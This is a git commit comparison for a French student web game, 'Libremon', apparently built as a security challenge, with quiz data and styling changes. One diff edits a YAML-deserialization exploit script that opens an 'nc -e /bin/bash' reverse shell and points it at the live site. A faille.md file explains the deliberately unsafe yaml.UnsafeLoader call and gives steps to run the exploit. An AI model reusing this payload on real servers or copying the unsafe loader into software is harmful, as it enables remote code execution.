Compare commits
11 Commits
64bf7c3021
...
b07f4101df
| Author | SHA1 | Date | |
|---|---|---|---|
b07f4101df
|
|||
|
a0d1be96b6
|
|||
|
1fd92f2492
|
|||
|
cd314df5ca | ||
|
|
a6d9ab7a3b | ||
|
|
4b2afbbb86 | ||
|
|
599b43c5fa | ||
|
|
ff7ffbf02e | ||
|
|
c307dfa40f | ||
|
|
2ca86d3888 | ||
|
|
31c8fa8b5f |
@@ -3,7 +3,8 @@ import requests
|
||||
malicious_yaml = """
|
||||
!!python/object/apply:os.system ["nc -e /bin/bash 127.0.0.1 1111"]
|
||||
"""
|
||||
url = "http://127.0.0.1:8080/api/leaderboard"
|
||||
#url = "http://127.0.0.1:8080/api/leaderboard"
|
||||
url = "http://libremon.furtest.fr/api/leaderboard"
|
||||
headers = {
|
||||
"Content-Type": "text/yaml"
|
||||
}
|
||||
|
||||
27
faille.md
Normal file
27
faille.md
Normal file
@@ -0,0 +1,27 @@
|
||||
# Equipe Tigrou
|
||||
|
||||
Nous avons réalisé un jeu pokemon-like où les logiciels libres et propriétaires s'affrontent : https://libremon.furtest.fr
|
||||
|
||||
La faille est intégré dans le leaderboard, pour des raisons de sécurité elle est désactivé sur le serveur mais vous pouvez la trouvez en téléchargant les sources du site au lien suivant.
|
||||
|
||||
https://share.furtest.fr/app/open/8v6M1zn6FZn-qUTvevvP8Wc-LFiYonS6ZTo-wYG6RmQWCXu?view=1
|
||||
|
||||
# Fonctionnement de la faille
|
||||
|
||||
L'api du leaderboard accepte des inputs en YAML ainsi qu'en JSON mais la version YAML utilise une fonction non sécurisé de la bibliothèque YAML de python. Plus précisement la ligne
|
||||
```python
|
||||
new_entry = yaml.load(request.data, Loader=yaml.UnsafeLoader)
|
||||
```
|
||||
utilise le UnsafeLoader de YAML qui est permet lorsque l'utilisateur envoie un input formé de façon spécifique d'éxecuter du code arbitraire.
|
||||
|
||||
Ceci envoyé avec un POST sur l'endpoint /api/leaderboard et avec une connection nc ouverte accessible permet d'ouvrir une reverse shell sur le serveur et y obtenir un terminal de commande.
|
||||
```YAML
|
||||
!!python/object/apply:os.system ["nc -e /bin/bash 127.0.0.1 1111"]
|
||||
````
|
||||
|
||||
# Tester par vous même
|
||||
|
||||
Prérequis : avoir installé les biliothèques python `flask` et `yaml`
|
||||
Dans un terminal lancer : `nc -nvlp 1111`
|
||||
Lancer ensuite l'application dans un deuxième terminal avec : `python app.py`
|
||||
Enfin dans un dernier terminal executer le script python fourni avec l'application : `python exploit.py`
|
||||
@@ -1,39 +1,141 @@
|
||||
{
|
||||
"nbQuestion" : 2,
|
||||
"questions" : [
|
||||
{
|
||||
"question" : "coucou",
|
||||
"nb" : 1,
|
||||
"nbAnswer" : 2,
|
||||
"answer" : [
|
||||
{
|
||||
"answer" : "salut",
|
||||
"nb" : 1,
|
||||
"correct" : "true"
|
||||
},
|
||||
{
|
||||
"answer" : "de",
|
||||
"nb" : 2,
|
||||
"correct" : "false"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"question" : "hello",
|
||||
"nb" : 2,
|
||||
"nbAnswer" : 2,
|
||||
"answer" : [
|
||||
{
|
||||
"answer" : "salut",
|
||||
"nb" : 1,
|
||||
"correct" : "false"
|
||||
},
|
||||
{
|
||||
"answer" : "deux",
|
||||
"nb" : 2,
|
||||
"correct" : "true"
|
||||
}
|
||||
]
|
||||
}
|
||||
"nbQuestion": 15,
|
||||
"questions": [
|
||||
{
|
||||
"question": "Lequel de ces éditeurs est une version open source sans télémétrie ?",
|
||||
"nb": 1,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "Visual Studio Code", "nb": 1, "correct": "false" },
|
||||
{ "answer": "VSCodium", "nb": 2, "correct": "true" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quel service Git est auto-hébergé et léger ?",
|
||||
"nb": 2,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "GitHub", "nb": 1, "correct": "false" },
|
||||
{ "answer": "Gogs", "nb": 2, "correct": "true" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quel outil permet d’exécuter localement des modèles de langage ?",
|
||||
"nb": 3,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "ChatGPT", "nb": 1, "correct": "false" },
|
||||
{ "answer": "Ollama", "nb": 2, "correct": "true" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quelle application open source vise à remplacer CapCut ?",
|
||||
"nb": 4,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "CapCut", "nb": 1, "correct": "false" },
|
||||
{ "answer": "OpenCut", "nb": 2, "correct": "true" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quelle suite bureautique supporte les standards ouverts et fonctionne hors ligne ?",
|
||||
"nb": 5,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "LibreOffice", "nb": 1, "correct": "true" },
|
||||
{ "answer": "Microsoft Office", "nb": 2, "correct": "false" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quel logiciel propose des outils avancés de retouche d’images open source ?",
|
||||
"nb": 6,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "Adobe Photoshop", "nb": 1, "correct": "false" },
|
||||
{ "answer": "GIMP", "nb": 2, "correct": "true" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quel éditeur vidéo open source offre montage multi-pistes et transitions ?",
|
||||
"nb": 7,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "Kdenlive", "nb": 1, "correct": "true" },
|
||||
{ "answer": "Adobe Premiere Pro", "nb": 2, "correct": "false" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quel client e-mail open source supporte le chiffrement et les extensions ?",
|
||||
"nb": 8,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "Microsoft Outlook", "nb": 1, "correct": "false" },
|
||||
{ "answer": "Thunderbird", "nb": 2, "correct": "true" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quelle solution cloud auto-hébergée permet le partage et la collaboration sur fichiers ?",
|
||||
"nb": 9,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "Google Drive", "nb": 1, "correct": "false" },
|
||||
{ "answer": "Nextcloud", "nb": 2, "correct": "true" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quel logiciel open source est utilisé pour la modélisation 3D professionnelle ?",
|
||||
"nb": 10,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "SolidWorks", "nb": 1, "correct": "false" },
|
||||
{ "answer": "FreeCAD", "nb": 2, "correct": "true" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quel navigateur open source met l'accent sur la confidentialité et la vitesse ?",
|
||||
"nb": 11,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "Mozilla Firefox", "nb": 1, "correct": "true" },
|
||||
{ "answer": "Google Chrome", "nb": 2, "correct": "false" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quel gestionnaire de mots de passe fonctionne hors ligne avec chiffrement local ?",
|
||||
"nb": 12,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "KeePassXC", "nb": 1, "correct": "true" },
|
||||
{ "answer": "LastPass", "nb": 2, "correct": "false" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quelle application open source utilise un chiffrement de bout en bout pour la messagerie ?",
|
||||
"nb": 13,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "WhatsApp", "nb": 1, "correct": "false" },
|
||||
{ "answer": "Signal", "nb": 2, "correct": "true" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quelle application open source est compatible Markdown avec synchronisation chiffrée ?",
|
||||
"nb": 14,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "Evernote", "nb": 1, "correct": "false" },
|
||||
{ "answer": "Joplin", "nb": 2, "correct": "true" }
|
||||
]
|
||||
},
|
||||
{
|
||||
"question": "Quel système d'exploitation open source offre un haut niveau de personnalisation ?",
|
||||
"nb": 15,
|
||||
"nbAnswer": 2,
|
||||
"answer": [
|
||||
{ "answer": "Windows", "nb": 1, "correct": "false" },
|
||||
{ "answer": "Linux", "nb": 2, "correct": "true" }
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,7 +5,8 @@ body {
|
||||
color: #00ff88;
|
||||
font-family: "Courier New", monospace;
|
||||
margin: 2rem;
|
||||
line-height: 1.5;
|
||||
line-height: 1.5;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
header {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
<nav>
|
||||
<ul class="menu">
|
||||
<li><a href="./">Accueil </a></li>
|
||||
<li><a href="./pokemon">Jeu Pokémon</a></li>
|
||||
<li><a href="./pokemon">Jeu Libremon</a></li>
|
||||
<li><a href="./PAI">PAI </a></li>
|
||||
<li><a href="./questions">QCM</a></li>
|
||||
<li><a href="./outils">Outils et OS</a></li>
|
||||
|
||||
@@ -9,9 +9,9 @@
|
||||
<body>
|
||||
|
||||
{% include 'header.html' %}
|
||||
|
||||
<div class="proprimon-content">
|
||||
<div class="battle">
|
||||
<h1>PROPRIMON</h1>
|
||||
<h1>LIBREMON</h1>
|
||||
<style>
|
||||
#log {
|
||||
width: 90%;
|
||||
@@ -27,12 +27,60 @@
|
||||
flex-direction: column; /* Les nouveaux messages vont en bas */
|
||||
gap: 4px;
|
||||
}
|
||||
.proprimon-log {
|
||||
width: 90%;
|
||||
height: 200px;
|
||||
border: 1px solid #555;
|
||||
padding: 10px;
|
||||
margin-top: 15px;
|
||||
background: #111;
|
||||
color: white;
|
||||
white-space: pre-line;
|
||||
overflow-y: auto;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 4px;
|
||||
}
|
||||
|
||||
/* ----- PANEL LATÉRAL POUR LE LEADERBOARD ----- */
|
||||
.proprimon-sidepanel {
|
||||
position: fixed;
|
||||
left: 0;
|
||||
top: 0;
|
||||
width: 260px;
|
||||
height: 100vh;
|
||||
overflow-y: auto;
|
||||
background: #1c1c1c;
|
||||
color: white;
|
||||
padding: 20px;
|
||||
box-shadow: 4px 0 12px rgba(0,0,0,0.4);
|
||||
border-right: 2px solid #333;
|
||||
z-index: 1200;
|
||||
}
|
||||
|
||||
.proprimon-sidepanel h2 {
|
||||
text-align: center;
|
||||
font-size: 20px;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.proprimon-sidepanel-entry {
|
||||
margin: 8px 0;
|
||||
padding: 4px;
|
||||
background: #2a2a2a;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
/* ----- DÉCALAGE DU JEU POUR ÉVITER LE PANEL ----- */
|
||||
.proprimon-content {
|
||||
margin-left: 280px; /* Pour ne pas passer sous le panneau */
|
||||
padding: 10px;
|
||||
}
|
||||
</style>
|
||||
|
||||
<div class="leaderboard">
|
||||
<div class="proprimon-sidepanel">
|
||||
<h2>Classement des joueurs</h2>
|
||||
<div id="leaderboardDiv">
|
||||
</div>
|
||||
<div id="leaderboardDiv"></div>
|
||||
</div>
|
||||
|
||||
<div class="battle">
|
||||
@@ -50,13 +98,21 @@
|
||||
<span id="enemyInfo" class="tooltip" data-tooltip="">?</span>
|
||||
</div>
|
||||
|
||||
<div class="monster" id="player">Joueur<br><span id="playerHp">HP: 30</span></div>
|
||||
<div class="monster" id="player">
|
||||
<div class="enemy-img-container">
|
||||
<img id="enemyImg" src="../static/pinguin(1).gif" alt="Ennemi" style=" width:100px;height:100px;">
|
||||
</div>
|
||||
Joueur<br>
|
||||
<span id="playerHp">HP: 30</span>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="attacksDiv"></div>
|
||||
<button id="runBtn">Fuir</button>
|
||||
|
||||
<div id="log">Un ennemi sauvage apparaît !</div>
|
||||
<div id="log" class="proprimon-log">Un ennemi sauvage apparaît !</div>
|
||||
|
||||
</div>
|
||||
|
||||
<script>
|
||||
@@ -309,5 +365,6 @@
|
||||
|
||||
|
||||
</script>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -8,8 +8,7 @@
|
||||
{% include 'header.html' %}
|
||||
|
||||
</header>
|
||||
<h1 id="txt">page du quiz</h1>
|
||||
<button id="strt" onclick="startQuiz({{questions.nbQuestion}})">Start Quiz!</button>
|
||||
<button id="strt" class="ans" onclick="startQuiz({{questions.nbQuestion}})">Start Quiz!</button>
|
||||
{% include 'question.html' %}
|
||||
<h2 id="finalScore">continue to get your final score...</h2>
|
||||
</body>
|
||||
|
||||
Reference in New Issue
Block a user